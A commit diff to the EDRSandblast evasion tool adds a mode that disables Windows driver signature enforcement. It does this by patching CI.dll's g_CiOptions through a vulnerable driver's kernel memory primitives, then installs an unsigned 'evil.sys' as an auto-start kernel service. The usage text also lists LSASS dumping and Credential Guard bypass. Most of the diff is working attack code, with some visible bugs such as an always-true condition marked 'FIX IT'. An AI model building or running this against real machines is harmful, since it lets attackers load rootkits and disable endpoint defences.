Add feature : loading unsigned driver

EDRSandblast/EDRSandBlast.h

@@ -8,6 +8,7 @@ typedef enum _START_MODE {
     credguard,
     audit,
     firewall,
+    load,
     none
 } START_MODE;
 

EDRSandblast/EDRSandblast.vcxproj

@@ -167,10 +167,12 @@
     <ClCompile Include="Drivers\DriverRTCore.c" />
     <ClCompile Include="KernellandBypass\ETWThreatIntel.c" />
     <ClCompile Include="KernellandBypass\KernelCallbacks.c" />
+    <ClCompile Include="KernellandBypass\KernelDSE.c" />
     <ClCompile Include="KernellandBypass\KernelUtils.c" />
     <ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
     <ClCompile Include="UserlandBypass\Syscalls.c" />
     <ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
+    <ClCompile Include="Utils\CiOffsets.c" />
     <ClCompile Include="Utils\FileUtils.c" />
     <ClCompile Include="Utils\HttpClient.c" />
     <ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
@@ -200,10 +202,12 @@
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="EDRSandblast.h" />
+    <ClInclude Include="Includes\CiOffsets.h" />
     <ClInclude Include="Includes\CredGuard.h" />
     <ClInclude Include="Includes\DriverDBUtil.h" />
     <ClInclude Include="Includes\DriverGDRV.h" />
     <ClInclude Include="Includes\DriverRTCore.h" />
+    <ClInclude Include="Includes\KernelDSE.h" />
     <ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
     <ClInclude Include="Includes\FileUtils.h" />
     <ClInclude Include="Includes\HttpClient.h" />

EDRSandblast/EDRSandblast.vcxproj.filters

@@ -117,9 +117,15 @@
     <ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c">
       <Filter>Source Files</Filter>
     </ClCompile>
+    <ClCompile Include="Utils\CiOffsets.c">
+      <Filter>Source Files</Filter>
+    </ClCompile>
     <ClCompile Include="Drivers\DriverGDRV.c">
       <Filter>Source Files</Filter>
     </ClCompile>
+    <ClCompile Include="KernellandBypass\KernelDSE.c">
+      <Filter>Source Files</Filter>
+    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="Includes\CredGuard.h">
@@ -233,6 +239,12 @@
     <ClInclude Include="EDRSandblast.h">
       <Filter>Header Files</Filter>
     </ClInclude>
+    <ClInclude Include="Includes\CiOffsets.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+    <ClInclude Include="Includes\KernelDSE.h">
+      <Filter>Header Files</Filter>
+    </ClInclude>
     <ClInclude Include="Includes\DriverGDRV.h">
       <Filter>Header Files</Filter>
     </ClInclude>

EDRSandblast/Includes/CiOffsets.h

@@ -0,0 +1,37 @@
+/*
+
+--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
+--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
+--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
+
+*/
+
+#pragma once
+
+#include <Windows.h>
+
+
+enum CiOffsetType {
+    g_CiOptions = 0,
+    _SUPPORTED_CI_OFFSETS_END
+};
+
+union CiOffsets {
+    // structure version of Ci.dll's offsets
+    struct {
+        // Ci.dll's g_CiOptions
+        DWORD64 g_CiOptions;
+    } st;
+
+    // array version (usefull for code factoring)
+    DWORD64 ar[1];
+};
+
+union CiOffsets g_ciOffsets;
+
+// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
+void LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename);
+void SaveCiOffsetsToFile(TCHAR* CiOffsetFilename);
+void LoadCiOffsetsFromInternet(BOOL delete_pdb);
+LPTSTR GetCiVersion();
+LPTSTR GetCiPath();

EDRSandblast/Includes/DriverOps.h

@@ -23,3 +23,8 @@ BOOL InstallVulnerableDriver(TCHAR* driverPath);
 
 BOOL UninstallVulnerableDriver(void);
 BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
+// evil driver install
+TCHAR* GetEvilDriverServiceName(void);
+void SetEvilDriverServiceName(_In_z_ TCHAR* newName);
+BOOL InstallEvilDriver(TCHAR* driverPath);
+BOOL UninstallEvilDriver(void);

EDRSandblast/Includes/KernelCallbacks.h

@@ -94,3 +94,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
 BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
 
 void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
+
+// Helps at locating some DLL in the kernel, for example CI.dll
+DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);

EDRSandblast/Includes/KernelDSE.h

@@ -0,0 +1,11 @@
+#pragma once
+#pragma comment(lib, "ntdll.lib")
+#define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys")
+
+#if !defined(PRINT_ERROR_AUTO)
+#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
+#endif
+
+BOOLEAN IsCiEnabled();
+DWORD64  FindCIBaseAddress(BOOL verbose);
+BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue);

EDRSandblast/Includes/KernelUtils.h

@@ -5,3 +5,4 @@ DWORD64 FindNtoskrnlBaseAddress(void);
 TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
 TCHAR* FindDriverPath(DWORD64 address);
 DWORD64 GetKernelFunctionAddress(LPCSTR function);
+TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);

EDRSandblast/KernellandBypass/KernelDSE.c

@@ -0,0 +1,61 @@
+#include "windows.h"
+#include "KernelDSE.h"
+#include "../EDRSandblast.h"
+#include "winternl.h"
+#include "stdio.h" // for printf
+//#include "ntstatus.h"
+#include "KernelCallbacks.h"
+#include "NtoskrnlOffsets.h"
+#include "KernelMemoryPrimitives.h"
+#include "KernelUtils.h"
+#include "tchar.h"
+
+#define nullptr ((void*)0)
+
+ BOOLEAN IsCiEnabled()
+{
+	SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
+	const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
+		&CiInfo,
+		sizeof(CiInfo),
+		nullptr);
+	if (!NT_SUCCESS(Status))
+		printf("[-] Failed to query code integrity status: %08X\n", Status);
+
+	return (CiInfo.CodeIntegrityOptions &
+		(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
+}
+
+ DWORD64  FindCIBaseAddress(BOOL verbose) {
+     DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE);
+     SIZE_T CurrentEDRCallbacksCount = 0;
+     DWORD64 CiBaseAddress = 0;
+     DWORD64 driverOffset = 0;
+     DWORD64 callback = 0;
+     DWORD64 cbFunction = 0;
+     TCHAR* driver = NULL;
+     DWORD64 callback_struct = 0;
+     for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
+         DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
+         if (callback_struct != 0) {
+             callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
+             cbFunction = ReadMemoryDWORD64(callback);
+             driver = FindDriverName(cbFunction, &driverOffset);
+             if (_tcscmp(driver, L"CI.dll") == 0) {
+                 CiBaseAddress = cbFunction - driverOffset;
+                 if (verbose)
+                     printf("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n", driver, cbFunction, driverOffset, CiBaseAddress);
+                 return CiBaseAddress;
+             }
+         }
+     }
+     return CiBaseAddress;
+ }
+
+ BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {
+     *OldCiOptionsValue = ReadMemoryDWORD64(CiVariableAddress);
+     //printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
+     WriteMemoryDWORD64(CiVariableAddress, CiOptionsValue);
+     //printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress));
+     return TRUE;
+ }

EDRSandblast/Utils/CiOffsets.c

@@ -0,0 +1,107 @@
+/*
+
+--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
+--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
+--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
+
+*/
+
+#include <tchar.h>
+#include <stdio.h>
+
+#include "../EDRSandblast.h"
+#include "FileVersion.h"
+#include "PdbSymbols.h"
+
+#include "CiOffsets.h"
+
+union CiOffsets g_ciOffsets = { 0 };
+
+// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
+void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
+    LPTSTR ciVersion = GetCiVersion();
+    _tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion);
+
+    FILE* offsetFileStream = NULL;
+    _tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("r"));
+
+    if (offsetFileStream == NULL) {
+        _putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!"));
+        return;
+    }
+
+    TCHAR lineCiVersion[256];
+    TCHAR line[2048];
+    while (_fgetts(line, _countof(line), offsetFileStream)) {
+        TCHAR* dupline = _tcsdup(line);
+        TCHAR* tmpBuffer = NULL;
+        _tcscpy_s(lineCiVersion, _countof(lineCiVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
+        if (_tcscmp(ciVersion, lineCiVersion) == 0) {
+            TCHAR* endptr;
+            _tprintf_or_not(TEXT("[+] Offsets are available for this version of ci.dll (%s)!"), ciVersion);
+            for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
+                g_ciOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
+            }
+            break;
+        }
+    }
+    fclose(offsetFileStream);
+}
+
+void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) {
+    LPTSTR ciVersion = GetCiVersion();
+
+    FILE* offsetFileStream = NULL;
+    _tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("a"));
+
+    if (offsetFileStream == NULL) {
+        _putts_or_not(TEXT("[!] CI offsets CSV file cannot be opened"));
+        return;
+    }
+
+    _ftprintf(offsetFileStream, TEXT("%s"), ciVersion);
+    for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
+        _ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]);
+    }
+    _fputts(TEXT(""), offsetFileStream);
+
+    fclose(offsetFileStream);
+}
+
+
+void LoadCiOffsetsFromInternet(BOOL delete_pdb) {
+    LPTSTR ciPath = GetCiPath();
+    symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath);
+    if (sym_ctx == NULL) {
+        return;
+    }
+    g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions");
+    UnloadSymbols(sym_ctx, delete_pdb);
+}
+
+TCHAR g_ciPath[MAX_PATH] = { 0 };
+LPTSTR GetCiPath() {
+    if (_tcslen(g_ciPath) == 0) {
+        // Retrieves the system folder (eg C:\Windows\System32).
+        TCHAR systemDirectory[MAX_PATH] = { 0 };
+        GetSystemDirectory(systemDirectory, _countof(systemDirectory));
+
+        // Compute ci.dll path.
+        _tcscat_s(g_ciPath, _countof(g_ciPath), systemDirectory);
+        _tcscat_s(g_ciPath, _countof(g_ciPath), TEXT("\\ci.dll"));
+    }
+    return g_ciPath;
+}
+
+TCHAR g_ciVersion[256] = { 0 };
+LPTSTR GetCiVersion() {
+    if (_tcslen(g_ciVersion) == 0) {
+        LPTSTR ciPath = GetCiPath();
+
+        TCHAR versionBuffer[256] = { 0 };
+        GetFileVersion(versionBuffer, _countof(versionBuffer), ciPath);
+
+        _stprintf_s(g_ciVersion, 256, TEXT("ci_%s.dll"), versionBuffer);
+    }
+    return g_ciVersion;
+}

EDRSandblast/Utils/DriverOps.c

@@ -115,3 +115,55 @@ BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
     }
     return isRunning;
 }
+
+/*
+
+--- Evil driver install / uninstall functions.
+
+*/
+
+TCHAR* g_evilDriverServiceName;
+
+TCHAR* GetEvilDriverServiceName(void) {
+    if (!g_evilDriverServiceName || _tcslen(g_evilDriverServiceName) == 0) {
+        g_evilDriverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
+    }
+    return g_evilDriverServiceName;
+}
+
+void SetEvilDriverServiceName(_In_z_ TCHAR* newName) {
+    if (g_evilDriverServiceName) {
+        free(g_evilDriverServiceName);
+    }
+    g_evilDriverServiceName = _tcsdup(newName);
+
+    if (!g_evilDriverServiceName) {
+        _putts_or_not(TEXT("[!] Error while attempting to set the service name."));
+        return;
+    }
+}
+
+BOOL InstallEvilDriver(TCHAR* driverPath) {
+    TCHAR* svcName = GetEvilDriverServiceName();
+
+    DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
+
+    if (status == 0x00000005) {
+        _putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
+    }
+    _tprintf_or_not(TEXT("[!] The evil service should be manually deleted when you are done with it : \ncmd /c sc stop %s\ncmd /c sc delete %s\n"), GetEvilDriverServiceName());
+
+    return status == 0x0;
+}
+
+BOOL UninstallEvilDriver(void) {
+    TCHAR* svcName = GetEvilDriverServiceName();
+
+    BOOL status = ServiceUninstall(svcName, 0);
+
+    if (!status) {
+        PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
+    }
+
+    return status;
+}

EDRSandblast_CLI/EDRSandblast.c

@@ -27,6 +27,8 @@
 #include "Undoc.h"
 #include "UserlandHooks.h"
 #include "WdigestOffsets.h"
+#include "CiOffsets.h"
+#include "KernelDSE.h"
 
 #include "../EDRSandblast/EDRSandblast.h"
 
@@ -74,7 +76,11 @@ BOOL WasRestarted() {
 
 int _tmain(int argc, TCHAR** argv) {
     // Parse command line arguments and initialize variables to default values if needed.
-    const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall> [--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
+    const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load> \n\
+[--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] \n\
+[--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] \n\
+[--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>] \n\
+--internet");
     const TCHAR extendedUsage[] = TEXT("\n\
 -h | --help             Show this help message and exit.\n\
 -v | --verbose          Enable a more verbose output.\n\
@@ -88,6 +94,7 @@ Actions mode:\n\
 \tcredguard       Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
 \t                Credential Guard is enabled on the host. No kernel-land actions required.\n\
 \tfirewall        Add Windows firewall rules to block network access for the EDR processes / services.\n\
+\tload            Load the specified unsigned driver.\n\
 \n\
 --usermode              Perform user-land operations (DLL unhooking).\n\
 --kernelmode            Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
@@ -119,6 +126,8 @@ Other options:\n\
 \n\
 --driver <RTCore64.sys>                 Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
                                         Default to 'RTCore64.sys' in the current directory.\n\
+--unsigned-driver <evil.sys>            Path to the unsigned driver file.\n\
+                                        Default to 'evil.sys' in the current directory.\n\
 --service <SERVICE_NAME>                Name of the vulnerable service to intall / start.\n\
 \n\
 --nt-offsets <NtoskrnlOffsets.csv>      Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
@@ -153,9 +162,12 @@ Other options:\n\
 
     START_MODE startMode = none;
     TCHAR driverPath[MAX_PATH] = { 0 };
+    TCHAR unsignedDriverPath[MAX_PATH] = { 0 };
     TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
+    TCHAR evilDriverDefaultName[] = DEFAULT_EVIL_DRIVER_FILE;
     TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
     TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
+    TCHAR CiOffsetCSVPath[MAX_PATH] = { 0 };
     TCHAR processName[] = TEXT("lsass.exe");
     TCHAR outputPath[MAX_PATH] = { 0 };
     BOOL verbose = FALSE;
@@ -191,6 +203,9 @@ Other options:\n\
         else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) {
             startMode = firewall;
         }
+        else if (_tcsicmp(argv[i], TEXT("load")) == 0) {
+            startMode = load;
+        }
         else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
             _putts_or_not(usage);
             _putts_or_not(extendedUsage);
@@ -219,6 +234,14 @@ Other options:\n\
             }
             _tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
         }
+        else if (_tcsicmp(argv[i], TEXT("--unsigned-driver")) == 0) {
+            i++;
+            if (i > argc) {
+                _tprintf_or_not(TEXT("%s"), usage);
+                return EXIT_FAILURE;
+            }
+            _tcsncpy_s(unsignedDriverPath, _countof(unsignedDriverPath), argv[i], _tcslen(argv[i]));
+        }
         else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
             i++;
             if (i > argc) {
@@ -320,7 +343,10 @@ Other options:\n\
     if (startMode == dump && !kernelMode) {
         _putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
     }
-
+    if (startMode == load && !kernelMode) {
+        _putts_or_not(TEXT("'load' mode needs kernel-land DSE disabling operation to work, please enable --kernelmode"));
+        return EXIT_FAILURE;
+    }
     // TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks.
     BOOL isSafeToExecutePayloadUserland = TRUE;
     BOOL isSafeToExecutePayloadKernelland = TRUE;
@@ -631,6 +657,106 @@ Other options:\n\
                 FirewallPrintManualDeletion(&sFWEntries);
                 break;
             }
+            // Load an unsigned kernel driver.
+            case load:
+            {
+                if (_tcslen(CiOffsetCSVPath) == 0) {
+                    TCHAR CiOffsetCSVName[] = TEXT("\\CiOffsets.csv");
+                    _tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
+                    _tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), CiOffsetCSVName, _countof(CiOffsetCSVName));
+                }
+
+                if (FileExists(CiOffsetCSVPath)) {
+                    LoadCiOffsetsFromFile(CiOffsetCSVPath);
+                    if (g_ciOffsets.st.g_CiOptions == 0x0) {
+                        _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ci in use."));
+                    }
+                    else {
+                        if (verbose) {
+                            _tprintf_or_not(TEXT("[+] g_CiOptions offset found using %s file : 0x%llx\n"), CiOffsetCSVPath, g_ciOffsets.st.g_CiOptions);
+                        }
+                    }
+                }
+
+                if (internet && (g_ciOffsets.st.g_CiOptions == 0x0)) {
+                    _putts_or_not(TEXT("[+] Downloading ci related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
+#if _DEBUG
+                    LoadCiOffsetsFromInternet(FALSE);
+#else
+                    LoadCiOffsetsFromInternet(TRUE);
+#endif
+                    if (g_ciOffsets.st.g_CiOptions == 0x0) {
+                        _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
+
+                    }
+                    else {
+                        _putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
+                        if (FileExists(CiOffsetCSVPath)) {
+                            _putts_or_not(TEXT("[+] Saving them to the CSV file..."));
+                            SaveCiOffsetsToFile(CiOffsetCSVPath);
+                        }
+                    }
+                    if (verbose) {
+                        _tprintf_or_not(TEXT("[+] g_CiOptions offset found using internet MS Symbol Server : 0x%llx\n"), g_ciOffsets.st.g_CiOptions);
+                    }
+                }
+
+                if (g_ciOffsets.st.g_CiOptions == 0x0) {
+                    _putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file (or use --internet). Unsigned driver won't be loaded ...\n"));
+                    lpExitCode = EXIT_FAILURE;
+                }
+                else {
+                    _putts_or_not(TEXT(""));
+                    if (kernelMode) {
+                        DWORD64 CiBaseAddress = 0;
+                        DWORD64 g_CiOptionsAddress = 0;
+                        if (IsCiEnabled() | !IsCiEnabled()) // FIX IT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
+                        {
+                            CiBaseAddress = FindCIBaseAddress(verbose);
+                            if (!CiBaseAddress) {
+                                _putts_or_not(TEXT("[-] CI base address not found !\n"));
+                            }
+                            else{
+                                g_CiOptionsAddress=CiBaseAddress + g_ciOffsets.st.g_CiOptions;
+                                if (verbose)
+                                    _tprintf_or_not(TEXT("[+] CI.dll kernel base address found at 0x%llx. The g_CiOptions is at %llx !\n"), CiBaseAddress, g_CiOptionsAddress);
+                                if (_tcslen(unsignedDriverPath) == 0) {
+                                    PathAppend(unsignedDriverPath, currentFolderPath);
+                                    PathAppend(unsignedDriverPath, evilDriverDefaultName);
+                                }
+                                if (!FileExists(unsignedDriverPath)) {
+                                    _tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), unsignedDriverPath);
+                                    return EXIT_FAILURE;
+                                }
+                                _putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI..."));  // debug print
+                                ULONG CiOptionsValue=0;
+                                PULONG OldCiOptionsValue;
+                                patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue);
+                                LPTSTR evilServiceNameIfAny = NULL;
+                                BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny);
+                                if (isEvilDriverAlreadyRunning) {
+                                    _putts_or_not(TEXT("[+] Evil driver is already running!\n"));
+                                    SetEvilDriverServiceName(evilServiceNameIfAny);
+                                }
+                                else {
+                                    _putts_or_not(TEXT("[+] Installing evil driver..."));
+                                    status = InstallEvilDriver(unsignedDriverPath);
+                                    if (status != TRUE)
+                                        _putts_or_not(TEXT("[!] An error occurred while installing the evil driver"));
+                                }
+                                _putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status"));  // debug print
+                                patch_gCiOptions(g_CiOptionsAddress, *OldCiOptionsValue, &OldCiOptionsValue);
+                            }
+                        }
+                        else {
+                            // CI is already disabled, just load the driver
+                            _putts_or_not(TEXT("[-] CI is already disabled!\n")); // debug print
+                        }
+                    }
+                }
+                // END WIP
+                break;
+            }
             }
             _putts_or_not(TEXT(""));
         }

Offsets/CiOffsets.csv

@@ -183,4 +183,4 @@ ci_22621-608.dll,41004
 ci_22621-815.dll,41004
 ci_22621-675.dll,41004
 ci_19041-2075.dll,3a438
-ci_19045-2364.dll,39418
+ci_19041-2364.dll,39418

Offsets/NtoskrnlOffsets.csv

@@ -517,3 +517,4 @@ ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8
 ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8
 ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80
 ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228
+ntoskrnl_19041-2364.exe,cec460,cec260,cec060,87a,c197d8,20,60,cfc410,cfc440,c8